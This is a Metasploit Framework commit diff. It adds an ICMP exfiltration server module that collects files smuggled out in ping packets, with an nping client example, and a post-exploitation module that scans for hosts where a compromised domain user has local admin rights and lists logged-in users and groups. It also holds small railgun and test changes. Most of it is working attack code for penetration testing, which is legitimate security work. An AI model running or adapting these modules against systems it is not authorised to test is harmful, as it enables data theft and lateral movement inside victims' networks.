Merge branch 'master' of git://github.com/rapid7/metasploit-framework
commit
e778730a6a
|
@ -124,7 +124,7 @@ module PacketFu
|
|||
attr_accessor :eth_header, :ip_header, :icmp_header
|
||||
|
||||
def self.can_parse?(str)
|
||||
return false unless str.size >= 54
|
||||
return false unless str.size >= 38
|
||||
return false unless EthPacket.can_parse? str
|
||||
return false unless IPPacket.can_parse? str
|
||||
return false unless str[23,1] == "\x01"
|
||||
|
|
|
@ -35,6 +35,26 @@ class Def_netapi32
|
|||
["DWORD","resume_handle","inout"]
|
||||
])
|
||||
|
||||
dll.add_function('NetWkstaUserEnum', 'DWORD', [
|
||||
["PWCHAR","servername","in"],
|
||||
["DWORD","level","in"],
|
||||
["PDWORD","bufptr","out"],
|
||||
["DWORD","prefmaxlen","in"],
|
||||
["PDWORD","entriesread","out"],
|
||||
["PDWORD","totalentries","out"],
|
||||
["DWORD","resume_handle","inout"]
|
||||
])
|
||||
|
||||
dll.add_function('NetUserGetGroups', 'DWORD', [
|
||||
["PWCHAR","servername","in"],
|
||||
["PWCHAR","username","in"],
|
||||
["DWORD","level","in"],
|
||||
["PDWORD","bufptr","out"],
|
||||
["DWORD","prefmaxlen","in"],
|
||||
["PDWORD","entriesread","out"],
|
||||
["PDWORD","totalentries","out"]
|
||||
])
|
||||
|
||||
return dll
|
||||
end
|
||||
|
||||
|
@ -42,4 +62,3 @@ end
|
|||
|
||||
end; end; end; end; end; end; end
|
||||
|
||||
|
||||
|
|
|
@ -0,0 +1,260 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Capture
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'ICMP Exfiltration Service',
|
||||
'Description' => %q{
|
||||
This module is designed to provide a server-side component to receive and store files
|
||||
exfiltrated over ICMP echo request packets.
|
||||
|
||||
To use this module you will need to send an initial ICMP echo request containing the
|
||||
specific start trigger (defaults to '^BOF') this can be followed by the filename being sent (or
|
||||
a random filename can be assisnged). All data received from this source will automatically
|
||||
be added to the receive buffer until an ICMP echo request containing a specific end trigger
|
||||
(defaults to '^EOL') is received.
|
||||
|
||||
Suggested Client:
|
||||
Data can be sent from the client using a variety of tools. One such example is nping (included
|
||||
with the NMAP suite of tools) - usage: nping --icmp 10.0.0.1 --data-string "BOFtest.txt" -c1
|
||||
},
|
||||
'Author' => 'Chris John Riley',
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
# packetfu
|
||||
['URL','https://github.com/todb/packetfu'],
|
||||
# nping
|
||||
['URL', 'http://nmap.org/book/nping-man.html'],
|
||||
# simple icmp
|
||||
['URL', 'http://blog.c22.cc/2012/02/17/quick-post-fun-with-python-ctypes-simpleicmp/']
|
||||
]
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptString.new('START_TRIGGER', [true, 'Trigger for beginning of file', '^BOF']),
|
||||
OptString.new('END_TRIGGER', [true, 'Trigger for end of file', '^EOF']),
|
||||
OptString.new('RESP_START', [true, 'Data to respond when initial trigger matches', 'SEND']),
|
||||
OptString.new('RESP_CONT', [true, 'Data ro resond when continuation of data expected', 'OK']),
|
||||
OptString.new('RESP_END', [true, 'Data to response when EOF received and data saved', 'COMPLETE']),
|
||||
OptString.new('BPF_FILTER', [true, 'BFP format filter to listen for', 'icmp']),
|
||||
OptString.new('INTERFACE', [false, 'The name of the interface']),
|
||||
OptBool.new('FNAME_IN_PACKET', [true, 'Filename presented in first packet straight after START_TRIGGER', true])
|
||||
], self.class)
|
||||
|
||||
register_advanced_options([
|
||||
OptEnum.new('CLOAK', [true, 'OS fingerprint to use for packet creation', 'linux', ['windows', 'linux', 'freebsd']]),
|
||||
OptBool.new('PROMISC', [true, 'Enable/Disable promiscuous mode', false]),
|
||||
OptAddress.new('LOCALIP', [false, 'The IP address of the local interface'])
|
||||
], self.class)
|
||||
|
||||
deregister_options('SNAPLEN','FILTER','PCAPFILE','RHOST','UDP_SECRET','GATEWAY','NETMASK', 'TIMEOUT')
|
||||
end
|
||||
|
||||
def run
|
||||
begin
|
||||
# check Pcaprub is up to date
|
||||
if not netifaces_implemented?
|
||||
print_error("WARNING : Pcaprub is not uptodate, some functionality will not be available")
|
||||
netifaces = false
|
||||
else
|
||||
netifaces = true
|
||||
end
|
||||
|
||||
@interface = datastore['INTERFACE'] || Pcap.lookupdev
|
||||
# this is needed on windows cause we send interface directly to Pcap functions
|
||||
@interface = get_interface_guid(@interface)
|
||||
@iface_ip = datastore['LOCALIP']
|
||||
@iface_ip ||= Pcap.lookupaddrs(@interface)[0] if netifaces
|
||||
raise "Interface IP is not defined and can not be guessed" unless @iface_ip
|
||||
|
||||
# start with blank slate
|
||||
@record = false
|
||||
@record_data = ''
|
||||
|
||||
if datastore['PROMISC']
|
||||
print_status("Warning: Promiscuous mode enabled. This may cause issues!")
|
||||
end
|
||||
|
||||
# start icmp listener process - loop
|
||||
icmp_listener
|
||||
|
||||
ensure
|
||||
store_file
|
||||
print_status("\nStopping ICMP listener on #{@interface} (#{@iface_ip})")
|
||||
end
|
||||
end
|
||||
|
||||
def icmp_listener
|
||||
# start icmp listener
|
||||
|
||||
print_status("ICMP Listener started on #{@interface} (#{@iface_ip}). Monitoring for trigger packet containing #{datastore['START_TRIGGER']}")
|
||||
if datastore['FNAME_IN_PACKET']
|
||||
print_status("Filename expected in initial packet, directly following trigger (e.g. #{datastore['START_TRIGGER']}filename.ext)")
|
||||
end
|
||||
|
||||
cap = PacketFu::Capture.new(
|
||||
:iface => @interface,
|
||||
:start => true,
|
||||
:filter => datastore['BPF_FILTER'],
|
||||
:promisc => datastore['PROMISC']
|
||||
)
|
||||
loop {
|
||||
cap.stream.each do | pkt |
|
||||
packet = PacketFu::Packet.parse(pkt)
|
||||
data = packet.payload[4..-1]
|
||||
|
||||
if packet.is_icmp? and data =~ /#{datastore['START_TRIGGER']}/
|
||||
# start of new file detected
|
||||
vprint_status("#{Time.now}: ICMP (type %d code %d) SRC:%s DST:%s" %
|
||||
[packet.icmp_type, packet.icmp_code, packet.ip_saddr, packet.ip_daddr])
|
||||
|
||||
# detect and warn if system is responding to ICMP echo requests
|
||||
# suggested fixes:
|
||||
# -(linux) echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
|
||||
# -(Windows) netsh firewall set icmpsetting 8 disable
|
||||
# -(Windows) netsh firewall set opmode mode = ENABLE
|
||||
|
||||
if packet.icmp_type == 0 and packet.icmp_code == 0 and packet.ip_saddr == @iface_ip
|
||||
print_error "Dectected ICMP echo response. You must either disable ICMP handling"
|
||||
print_error "or try a more restrictive BPF filter. You might try:"
|
||||
print_error " set BPF_FILTER icmp and not src #{datastore['LOCALIP']}"
|
||||
return
|
||||
end
|
||||
|
||||
if @record
|
||||
print_error("New file started without saving old data")
|
||||
store_file
|
||||
end
|
||||
|
||||
# begin recording stream
|
||||
@record = true
|
||||
@record_host = packet.ip_saddr
|
||||
@record_data = ''
|
||||
|
||||
# set filename from data in incoming icmp packet
|
||||
if datastore['FNAME_IN_PACKET']
|
||||
@filename = data[((datastore['START_TRIGGER'].length)-1)..-1].strip
|
||||
end
|
||||
# if filename not sent in packet, or FNAME_IN_PACKET false set time based name
|
||||
if not datastore['FNAME_IN_PACKET'] or @filename.empty?
|
||||
@filename = "icmp_exfil_" + ::Time.now.to_i.to_s # set filename based on current time
|
||||
end
|
||||
|
||||
print_good("Beginning capture of \"#{@filename}\" data")
|
||||
|
||||
# create response packet icmp_pkt
|
||||
icmp_response, contents = icmp_packet(packet, datastore['RESP_START'])
|
||||
|
||||
if not icmp_response
|
||||
raise RuntimeError ,"Could not build ICMP response"
|
||||
else
|
||||
# send response packet icmp_pkt
|
||||
send_icmp(icmp_response, contents)
|
||||
end
|
||||
|
||||
elsif packet.is_icmp? and @record and @record_host == packet.ip_saddr
|
||||
# check for EOF marker, if not continue recording data
|
||||
|
||||
if data =~ /#{datastore['END_TRIGGER']}/
|
||||
# end of file marker found
|
||||
print_status("#{@record_data.length} bytes of data recevied in total")
|
||||
print_good("End of File received. Saving \"#{@filename}\" to loot")
|
||||
store_file
|
||||
|
||||
# create response packet icmp_pkt
|
||||
icmp_response, contents = icmp_packet(packet, datastore['RESP_END'])
|
||||
|
||||
if not icmp_response
|
||||
raise RuntimeError , "Could not build ICMP response"
|
||||
else
|
||||
# send response packet icmp_pkt
|
||||
send_icmp(icmp_response, contents)
|
||||
end
|
||||
|
||||
# turn off recording and clear status
|
||||
@record = false
|
||||
@record_host = ''
|
||||
@record_data = ''
|
||||
|
||||
else
|
||||
# add data to recording and continue
|
||||
@record_data << data.to_s()
|
||||
vprint_status("Received #{data.length} bytes of data from #{packet.ip_saddr}")
|
||||
|
||||
# create response packet icmp_pkt
|
||||
icmp_response, contents = icmp_packet(packet, datastore['RESP_CONT'])
|
||||
|
||||
if not icmp_response
|
||||
raise RuntimeError , "Could not build ICMP response"
|
||||
else
|
||||
# send response packet icmp_pkt
|
||||
send_icmp(icmp_response, contents)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
def icmp_packet(packet, contents)
|
||||
# create icmp response
|
||||
|
||||
@src_ip = packet.ip_daddr
|
||||
src_mac = packet.eth_daddr
|
||||
@dst_ip = packet.ip_saddr
|
||||
dst_mac = packet.eth_saddr
|
||||
icmp_id = packet.payload[0,2]
|
||||
icmp_seq = packet.payload[2,2]
|
||||
|
||||
# create payload with matching id/seq
|
||||
resp_payload = icmp_id + icmp_seq + contents
|
||||
|
||||
icmp_pkt = PacketFu::ICMPPacket.new(:flavor => datastore['CLOAK'].downcase)
|
||||
icmp_pkt.eth_saddr = src_mac
|
||||
icmp_pkt.eth_daddr = dst_mac
|
||||
icmp_pkt.icmp_type = 0
|
||||
icmp_pkt.icmp_code = 0
|
||||
icmp_pkt.payload = resp_payload
|
||||
icmp_pkt.ip_saddr = @src_ip
|
||||
icmp_pkt.ip_daddr = @dst_ip
|
||||
icmp_pkt.recalc
|
||||
|
||||
icmp_response = icmp_pkt
|
||||
|
||||
return icmp_response, contents
|
||||
end
|
||||
|
||||
def send_icmp(icmp_response, contents)
|
||||
# send icmp response on selected interface
|
||||
icmp_response.to_w(iface = @interface)
|
||||
vprint_good("Response sent to #{@dst_ip} containing response trigger : \"#{contents}\"")
|
||||
end
|
||||
|
||||
def store_file
|
||||
# store the file in loot if data is present
|
||||
if @record_data and not @record_data.empty?
|
||||
loot = store_loot(
|
||||
"icmp_exfil",
|
||||
"text/xml",
|
||||
@src_ip,
|
||||
@record_data,
|
||||
@filename,
|
||||
"ICMP Exfiltrated Data"
|
||||
)
|
||||
print_good("Incoming file \"#{@filename}\" saved to loot")
|
||||
print_good("Loot filename: #{loot}")
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,258 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
require 'msf/core/post/common'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Post::Windows::Priv
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Post::Common
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Windows Gather Local Admin Search',
|
||||
'Description' => %q{
|
||||
This module will identify systems in a given range that the
|
||||
supplied domain user (should migrate into a user pid) has administrative
|
||||
access to by using the Windows API OpenSCManagerA to establishing a handle
|
||||
to the remote host. Additionally it can enumerate logged in users and group
|
||||
membership via Windows API NetWkstaUserEnum and NetUserGetGroups.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Brandon McCann "zeknox" <bmccann[at]accuvant.com>',
|
||||
'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>',
|
||||
'Royce Davis "r3dy" <rdavis[at]accuvant.com>'
|
||||
],
|
||||
'Platform' => [ 'windows'],
|
||||
'SessionTypes' => [ 'meterpreter' ]
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptBool.new('ENUM_USERS', [ true, 'Enumerates logged on users.', true]),
|
||||
OptBool.new('ENUM_GROUPS', [ false, 'Enumerates groups for identified users.', true]),
|
||||
OptString.new('DOMAIN', [false, 'Domain to enumerate user\'s groups for']),
|
||||
OptString.new('DOMAIN_CONTROLLER', [false, 'Domain Controller to query groups'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def setup
|
||||
super
|
||||
|
||||
# This datastore option can be modified during runtime.
|
||||
# Saving it here so the modified value remains with this module.
|
||||
@domain_controller = datastore['DOMAIN_CONTROLLER']
|
||||
|
||||
if is_system?
|
||||
# running as SYSTEM and will not pass any network credentials
|
||||
print_error "Running as SYSTEM, module should be run with USER level rights"
|
||||
return
|
||||
else
|
||||
@adv = client.railgun.advapi32
|
||||
|
||||
# Get domain and domain controller if options left blank
|
||||
if datastore['DOMAIN'].nil? or datastore['DOMAIN'].empty?
|
||||
user = client.sys.config.getuid
|
||||
datastore['DOMAIN'] = user.split('\\')[0]
|
||||
end
|
||||
|
||||
if @domain_controll.nil? and datastore['ENUM_GROUPS']
|
||||
@dc_error = false
|
||||
|
||||
# Uses DC which applied policy since it would be a DC this device normally talks to
|
||||
cmd = "gpresult /SCOPE COMPUTER"
|
||||
# If Vista/2008 or later add /R
|
||||
if (sysinfo['OS'] =~ /Build [6-9]\d\d\d/)
|
||||
cmd << " /R"
|
||||
end
|
||||
res = cmd_exec("cmd.exe","/c #{cmd}")
|
||||
|
||||
# Check if RSOP data exists, if not disable group check
|
||||
unless res =~ /does not have RSOP data./
|
||||
@domain_controller = /Group Policy was applied from:\s*(.*)\s*/.match(res)[1].chomp
|
||||
else
|
||||
@dc_error = true
|
||||
print_error("User never logged into device, will not enumerate groups or manually specify DC.")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# main control method
|
||||
def run_host(ip)
|
||||
connect(ip)
|
||||
end
|
||||
|
||||
# http://msdn.microsoft.com/en-us/library/windows/desktop/aa370669(v=vs.85).aspx
|
||||
# enumerate logged in users
|
||||
def enum_users(host)
|
||||
userlist = Array.new
|
||||
|
||||
begin
|
||||
# Connect to host and enumerate logged in users
|
||||
winsessions = client.railgun.netapi32.NetWkstaUserEnum("\\\\#{host}", 1, 4, -1, 4, 4, nil)
|
||||
rescue ::Exception => e
|
||||
print_error("Issue enumerating users on #{host}")
|
||||
return userlist
|
||||
end
|
||||
|
||||
return userlist if winsessions.nil?
|
||||
|
||||
count = winsessions['totalentries'] * 2
|
||||
startmem = winsessions['bufptr']
|
||||
|
||||
base = 0
|
||||
userlist = Array.new
|
||||
begin
|
||||
mem = client.railgun.memread(startmem, 8*count)
|
||||
rescue ::Exception => e
|
||||
print_error("Issue reading memory for #{host}")
|
||||
vprint_error(e.to_s)
|
||||
return userlist
|
||||
end
|
||||
# For each entry returned, get domain and name of logged in user
|
||||
begin
|
||||
count.times{|i|
|
||||
temp = {}
|
||||
userptr = mem[(base + 0),4].unpack("V*")[0]
|
||||
temp[:user] = client.railgun.memread(userptr,255).split("\0\0")[0].split("\0").join
|
||||
nameptr = mem[(base + 4),4].unpack("V*")[0]
|
||||
temp[:domain] = client.railgun.memread(nameptr,255).split("\0\0")[0].split("\0").join
|
||||
|
||||
# Ignore if empty or machine account
|
||||
unless temp[:user].empty? or temp[:user][-1, 1] == "$"
|
||||
|
||||
# Check if enumerated user's domain matches supplied domain, if there was
|
||||
# an error, or if option disabled
|
||||
data = ""
|
||||
if datastore['DOMAIN'].upcase == temp[:domain].upcase and not @dc_error and datastore['ENUM_GROUPS']
|
||||
data << " - Groups: #{enum_groups(temp[:user]).chomp(", ")}"
|
||||
end
|
||||
line = "\tLogged in user:\t#{temp[:domain]}\\#{temp[:user]}#{data}\n"
|
||||
|
||||
# Write user and groups to notes database
|
||||
db_note(host, "#{temp[:domain]}\\#{temp[:user]}#{data}", "localadmin.user.loggedin")
|
||||
userlist << line unless userlist.include? line
|
||||
|
||||
end
|
||||
|
||||
base = base + 8
|
||||
}
|
||||
rescue ::Exception => e
|
||||
print_error("Issue enumerating users on #{host}")
|
||||
vprint_error(e.backtrace)
|
||||
end
|
||||
return userlist
|
||||
end
|
||||
|
||||
# http://msdn.microsoft.com/en-us/library/windows/desktop/aa370653(v=vs.85).aspx
|
||||
# Enumerate groups for identified users
|
||||
def enum_groups(user)
|
||||
grouplist = ""
|
||||
|
||||
dc = "\\\\#{@domain_controller}"
|
||||
begin
|
||||
# Connect to DC and enumerate groups of user
|
||||
usergroups = client.railgun.netapi32.NetUserGetGroups(dc, user, 0, 4, -1, 4, 4)
|
||||
rescue ::Exception => e
|
||||
print_error("Issue connecting to DC, try manually setting domain and DC")
|
||||
vprint_error(e.to_s)
|
||||
return grouplist
|
||||
end
|
||||
|
||||
count = usergroups['totalentries']
|
||||
startmem = usergroups['bufptr']
|
||||
base = 0
|
||||
|
||||
begin
|
||||
mem = client.railgun.memread(startmem, 8*count)
|
||||
rescue ::Exception => e
|
||||
print_error("Issue reading memory for groups for user #{user}")
|
||||
vprint_error(e.to_s)
|
||||
return grouplist
|
||||
end
|
||||
|
||||
begin
|
||||
# For each entry returned, get group
|
||||
count.to_i.times{|i|
|
||||
temp = {}
|
||||
groupptr = mem[(base + 0),4].unpack("V*")[0]
|
||||
temp[:group] = client.railgun.memread(groupptr,255).split("\0\0")[0].split("\0").join
|
||||
|
||||
# Add group to string to be returned
|
||||
grouplist << "#{temp[:group]}, "
|
||||
if (i % 5) == 2
|
||||
grouplist <<"\n\t- "
|
||||
end
|
||||
base = base + 4
|
||||
}
|
||||
|
||||
rescue ::Exception => e
|
||||
print_error("Issue enumerating groups for user #{user}, check domain")
|
||||
vprint_error(e.backtrace)
|
||||
return grouplist
|
||||
end
|
||||
|
||||
return grouplist.chomp("\n\t- ")
|
||||
|
||||
end
|
||||
|
||||
# http://msdn.microsoft.com/en-us/library/windows/desktop/ms684323(v=vs.85).aspx
|
||||
# method to connect to remote host using windows api
|
||||
def connect(host)
|
||||
if @adv.nil?
|
||||
return
|
||||
end
|
||||
|
||||
user = client.sys.config.getuid
|
||||
# use railgun and OpenSCManagerA api to connect to remote host
|
||||
manag = @adv.OpenSCManagerA("\\\\#{host}", nil, 0xF003F) # SC_MANAGER_ALL_ACCESS
|
||||
|
||||
if(manag["return"] != 0) # we have admin rights
|
||||
result = "#{host.ljust(16)} #{user} - Local admin found\n"
|
||||
# Run enumerate users on all hosts if option was set
|
||||
|
||||
if datastore['ENUM_USERS']
|
||||
enum_users(host).each {|i|
|
||||
result << i
|
||||
}
|
||||
end
|
||||
|
||||
# close the handle if connection was made
|
||||
@adv.CloseServiceHandle(manag["return"])
|
||||
# Append data to loot table within database
|
||||
print_good(result.chomp("\n")) unless result.nil?
|
||||
db_loot(host, user, "localadmin.user")
|
||||
else
|
||||
# we dont have admin rights
|
||||
print_error("#{host.ljust(16)} #{user} - No Local Admin rights")
|
||||
end
|
||||
end
|
||||
|
||||
# Write to notes database
|
||||
def db_note(host, data, type)
|
||||
report_note(
|
||||
:type => type,
|
||||
:data => data,
|
||||
:host => host,
|
||||
:update => :unique_data
|
||||
)
|
||||
end
|
||||
|
||||
# Write to loot database
|
||||
def db_loot(host, user, type)
|
||||
p = store_loot(type, 'text/plain', host, "#{host}:#{user}", 'hosts_localadmin.txt', user)
|
||||
vprint_status("User data stored in: #{p}")
|
||||
end
|
||||
end
|
|
@ -0,0 +1,59 @@
|
|||
require 'rex/post/meterpreter/packet'
|
||||
require 'rex/post/meterpreter/packet_parser'
|
||||
|
||||
|
||||
describe Rex::Post::Meterpreter::PacketParser do
|
||||
subject{
|
||||
Rex::Post::Meterpreter::PacketParser.new
|
||||
}
|
||||
before(:each) do
|
||||
@req_packt = Rex::Post::Meterpreter::Packet.new(
|
||||
Rex::Post::Meterpreter::PACKET_TYPE_REQUEST,
|
||||
"test_method")
|
||||
@raw = @req_packt.to_r
|
||||
@sock = double('Socket')
|
||||
@sock.stub(:read) do |arg|
|
||||
@raw.slice!(0,arg)
|
||||
end
|
||||
end
|
||||
|
||||
it "should respond to cipher" do
|
||||
subject.should respond_to :cipher
|
||||
end
|
||||
|
||||
it "should respond to raw" do
|
||||
subject.should respond_to :raw
|
||||
end
|
||||
|
||||
it "should respond to reset" do
|
||||
subject.should respond_to :reset
|
||||
end
|
||||
|
||||
it "should respond to recv" do
|
||||
subject.should respond_to :recv
|
||||
end
|
||||
|
||||
it "should respond to hdr_length_left" do
|
||||
subject.should respond_to :hdr_length_left
|
||||
end
|
||||
|
||||
it "should respond to payload_length_left" do
|
||||
subject.should respond_to :payload_length_left
|
||||
end
|
||||
|
||||
it "should initialise with expected defaults" do
|
||||
subject.send(:raw).should == ""
|
||||
subject.send(:hdr_length_left).should == 8
|
||||
subject.send(:payload_length_left).should == 0
|
||||
end
|
||||
|
||||
it "should parse valid raw data into a packet object" do
|
||||
while @raw.length >0
|
||||
parsed_packet = subject.recv(@sock)
|
||||
end
|
||||
parsed_packet.class.should == Rex::Post::Meterpreter::Packet
|
||||
parsed_packet.type.should == Rex::Post::Meterpreter::PACKET_TYPE_REQUEST
|
||||
parsed_packet.method?("test_method").should == true
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue